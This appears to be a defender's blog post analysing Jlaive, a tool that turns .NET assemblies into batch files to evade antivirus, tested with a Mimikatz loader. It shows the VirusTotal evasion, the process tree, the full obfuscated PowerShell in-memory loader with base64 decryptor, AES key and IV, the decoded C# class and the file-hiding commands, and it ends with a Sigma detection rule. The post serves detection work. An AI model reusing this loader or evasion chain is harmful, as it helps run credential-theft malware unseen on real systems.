Skip to main content

Using Jlaive to create batch files from .NET assemblies for defense evasion

· 7 min read

Summary

Jlaive is a project created to evade antivirus by creating batch files from .NET assemblies. The way it does it is very interesting and gives a new window of opportunities to actors to evade defenses and execute their payloads.

You can find the project on their official GitHub: https://github.com/ch2sh/Jlaive

Creating the batch file with Jlaive

In order to test the operation and the different events generated by this tool on a system, batch files must first be generated. The project currently provides two ways to do this.

To test the behavior of the generated batch file, we are going to use an assembly from a known GitHub project that aims to load Mimikatz in memory through an injection.

The configuration used in Jlaive to create the batch file was as follows.

configuration-jlaive

Executing the assembly (Mimikatz batch file)

For this case, the .NET assembly used is KatzNetAssembly, which can be found in their GitHub https://github.com/med0x2e/NET-Assembly-Inject-Remote.

When Jlaive is used to generate the batch file, the result is the expected .bat file. Looking at the contents of the .bat file in this case, we can see something like the following image.

codemimi

As a test, I uploaded to VirusTotal both the original KatzNetAssembly binary and the generated batch file to check that vendors detected both as malicious, since Mimikatz is considered malicious by the vast majority of vendors.

First, the KatzNetAssembly binary was detected by 43 different engines.

katz_vt

In contrast, the batch file generated above was not detected by any of them.

katzbatch_vt

As soon as the .bat file is executed, you can see how Mimikatz is loaded for use by the user.

Mimikatzrunning

High level processes events

When the batch file is executed, different events take place in the operating system, ranging from the creation of temporary files to be used (for compilation purposes) to the copying of the legitimate powershell binary. The following image is a high-level visualization of the events that occur in the operating system.

processes_events

The quality of the image is not the best (procdot pls :D), but it is useful to see at a high level all the events that happen related to files, processes, threads, registry keys, etc. In the following sections we will go in detail in the most important events of the previous image.

Genealogy

Taking a look at the process genealogy generated after the execution, we can see the following activity that took place when we executed the batch file:

genealogy

From top to bottom, the processes with their corresponding command lines that are launched during execution are as follows.

cmd.exe - 2980

C:\Windows\system32\cmd.exe /c ""C:\Users\lab\Desktop\mimi\NET-Assembly-Inject-Remote-master\KatzNetAssembly\bin\Debug\KatzNetAssembly.bat" "

This is the initial execution of the batch file. From this point on, the auto-generated batch file performs different actions on the system when it is executed.

cmd.exe - 9420

C:\Windows\system32\cmd.exe  /S /D /c" echo F"

This process does not perform any particular action. This is because in the first lines of the batch file the following information can be observed.

twocommands

Line 2 of the previous image shows how the | character exists without being escaped by ^. Therefore, the first part before the | character will be launched as a new process that will simply do a echo F (this same cmd.exe process with PID 9420), and the second part after the | character will be the execution of a new process called by xcopy.exe, which we will see its purpose below.

xcopy.exe - 10188

xcopy  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Users\lab\Desktop\mimi\NET-Assembly-Inject-Remote-master\KatzNetAssembly\bin\Debug\KatzNetAssembly.bat.exe" /y

Xcopy is a Microsoft Windows binary that can be used to copy files and directories. In this case, the copy that is made is powershell.exe with the same name as the initial batch file, leaving finally in this case the name KatzNetAssembly.bat.exe.

writefilesxcopy

attrib.exe - 3672

attrib  +s +h "C:\Users\lab\Desktop\mimi\NET-Assembly-Inject-Remote-master\KatzNetAssembly\bin\Debug\KatzNetAssembly.bat.exe"

attrib is another Microsoft Windows utility. It is used in this case to set attributes assigned to the newly copied file.

  • +s: Sets the System file attribute.
  • +h: Sets the Hidden file attribute.

KatzNetAssembly.bat.exe - 8576

KatzNetAssembly.bat.exe  -noprofile  -executionpolicy bypass -command $FlOctL = [System.IO.File]::ReadAllText('C:\Users\lab\Desktop\mimi\NET-Assembly-Inject-Remote-master\KatzNetAssembly\bin\Debug\KatzNetAssembly.bat').Split([Environment]::NewLine);$hUtefJ = $FlOctL[$FlOctL.Length - 1];$kADuSQ = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('dXNpbmcgU3lzdGVtLlRleHQ7dXNpbmcgU3lzdGVtLklPO3VzaW5nIFN5c3RlbS5JTy5Db21wcmVzc2lvbjt1c2luZyBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5OyBwdWJsaWMgY2xhc3Mgc2t2Z1pSIHsgcHVibGljIHN0YXRpYyBieXRlW10geVhMZVdlKGJ5dGVbXSBpbnB1dCwgYnl0ZVtdIGtleSwgYnl0ZVtdIGl2KSB7IEFlc01hbmFnZWQgYWVzID0gbmV3IEFlc01hbmFnZWQoKTsgYWVzLk1vZGUgPSBDaXBoZXJNb2RlLkNCQzsgYWVzLlBhZGRpbmcgPSBQYWRkaW5nTW9kZS5QS0NTNzsgSUNyeXB0b1RyYW5zZm9ybSBkZWNyeXB0b3IgPSBhZXMuQ3JlYXRlRGVjcnlwdG9yKGtleSwgaXYpOyBieXRlW10gZGVjcnlwdGVkID0gZGVjcnlwdG9yLlRyYW5zZm9ybUZpbmFsQmxvY2soaW5wdXQsIDAsIGlucHV0Lkxlbmd0aCk7IGRlY3J5cHRvci5EaXNwb3NlKCk7IGFlcy5EaXNwb3NlKCk7IHJldHVybiBkZWNyeXB0ZWQ7IH0gcHVibGljIHN0YXRpYyBieXRlW10geFpQcEdaKGJ5dGVbXSBieXRlcykgeyBNZW1vcnlTdHJlYW0gbXNpID0gbmV3IE1lbW9yeVN0cmVhbShieXRlcyk7IE1lbW9yeVN0cmVhbSBtc28gPSBuZXcgTWVtb3J5U3RyZWFtKCk7IHZhciBncyA9IG5ldyBHWmlwU3RyZWFtKG1zaSwgQ29tcHJlc3Npb25Nb2RlLkRlY29tcHJlc3MpOyBncy5Db3B5VG8obXNvKTsgZ3MuRGlzcG9zZSgpOyBtc2kuRGlzcG9zZSgpOyBtc28uRGlzcG9zZSgpOyByZXR1cm4gbXNvLlRvQXJyYXkoKTsgfSB9'));Add-Type -TypeDefinition $kADuSQ;[System.Reflection.Assembly]::Load([skvgZR]::xZPpGZ([skvgZR]::yXLeWe([System.Convert]::FromBase64String($hUtefJ), [System.Convert]::FromBase64String('NWgsuaovf9gO9aKy86zcaVaagsVYYBrngI5j7GXrTW8='), [System.Convert]::FromBase64String('oEMFGnnW7fwO+yXIvucIbA==')))).EntryPoint.Invoke($null, (, [string[]] ('')))

The KatzNetAssembly.bat.exe file is actually PowerShell.exe, which in this case is executed through a series of parameters and a command through -command, where it first reads the batch file information and then loads the assembly in memory to run Mimikatz.

This is achieved by the Add-Type cmdlet which adds the .NET class to the PowerShell session and with the help of System.Reflection.Assembly::Load the payload is loaded into memory.

When these processes are executed to perform such compilations, it is important to know that there are a series of temporary files that are generated in the system. In this case, we will focus a little more on the files named wzpaloqi.0.cs and wzpaloqi.cmdline. The latter will be used later by csc.exe which contains addresses to compile the code.

tmpfiles

Subsequently, it also removes these files from the system.

tmpfilesdeleted

csc.exe - 5952

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\lab\AppData\Local\Temp\wzpaloqi.cmdline"

Due to the above execution to load the assembly into memory, csc.exe is launched to perform the compilation (csc.exe is used by .NET to compile C# code).

As stated above, the wzpaloqi.cmdline file that is passed as a parameter to csc.exe contains the addresses to compile the code. In this case, the contents are as follows

/t:library /utf8output /R:"System.dll" /R:"C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /out:"C:\Users\lab\AppData\Local\Temp\wzpaloqi.dll" /D:DEBUG /debug+ /optimize- /warnaserror  "C:\Users\lab\AppData\Local\Temp\wzpaloqi.0.cs"

Note the use of the /t parameter to generate a Library TargetType. Also the references to the System.dll and System.Management.Automation.dll (Powershelll) DLLs. Finally, the output file to wzpaloqi.dll.

tmpfilesdeleted

The wzpaloqi.0.cs file contains the definition of the class that was previously used by the Add-Type cmdlet in the PowerShell execution. The content of this C# file would look like the following.

using System.Text;
using System.IO;
using System.IO.Compression;
using System.Security.Cryptography;
public class sIRAVQ {
public static byte[] agudvC(byte[] input, byte[] key, byte[] iv) {
AesManaged aes = new AesManaged();
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.PKCS7;
ICryptoTransform decryptor = aes.CreateDecryptor(key, iv);
byte[] decrypted = decryptor.TransformFinalBlock(input, 0, input.Length);
decryptor.Dispose();
aes.Dispose();
return decrypted;
}
public static byte[] WpDGoD(byte[] bytes) {
MemoryStream msi = new MemoryStream(bytes);
MemoryStream mso = new MemoryStream();
var gs = new GZipStream(msi, CompressionMode.Decompress);
gs.CopyTo(mso);
gs.Dispose();
msi.Dispose();
mso.Dispose();
return mso.ToArray();
}
}

cvtress.exe - 9520

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\lab\AppData\Local\Temp\RES7B30.tmp" "c:\Users\lab\AppData\Local\Temp\CSC73E174637C7249A1B3624F5536864A1.TMP"

The purpose of cvtress.exe is to convert resources to objects at compile time. These objects will eventually be the ones linked into the final .exe.

Sigma rule

The behavior of this project is very characteristic, which can help us to create detection rules. For this reason, the following sigma rule can help us to detect these behaviors in our systems.

Link to sigma rule: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_jlaive_batch_execution.yml

title: Jlaive Usage For Assembly Execution In-Memory
id: 0a99eb3e-1617-41bd-b095-13dc767f3def
description: Detect the use of Jlaive to execute assemblies in a copied PowerShell
status: experimental
date: 2022/05/24
modified: 2022/05/24
author: Jose Luis Sanchez Martinez (@Joseliyo_Jstnk)
references:
- https://twitter.com/VakninHai/status/1517027824984547329
- https://github.com/ch2sh/Jlaive
logsource:
product: windows
category: process_creation
detection:
parent_selection:
ParentImage|endswith: '\cmd.exe'
ParentCommandLine|endswith: '.bat'
selection1:
Image|endswith: '\xcopy.exe'
CommandLine|contains|all:
- 'powershell.exe'
- '.bat.exe'
selection2:
Image|endswith: '\attrib.exe'
CommandLine|contains|all:
- '+s'
- '+h'
- '.bat.exe'
condition: parent_selection and (1 of selection*)
falsepositives:
- Unknown
level: medium
tags:
- attack.execution
- attack.t1059.003

Contact

Twitter: https://twitter.com/Joseliyo_Jstnk

LinkedIn: https://www.linkedin.com/in/joseluissm/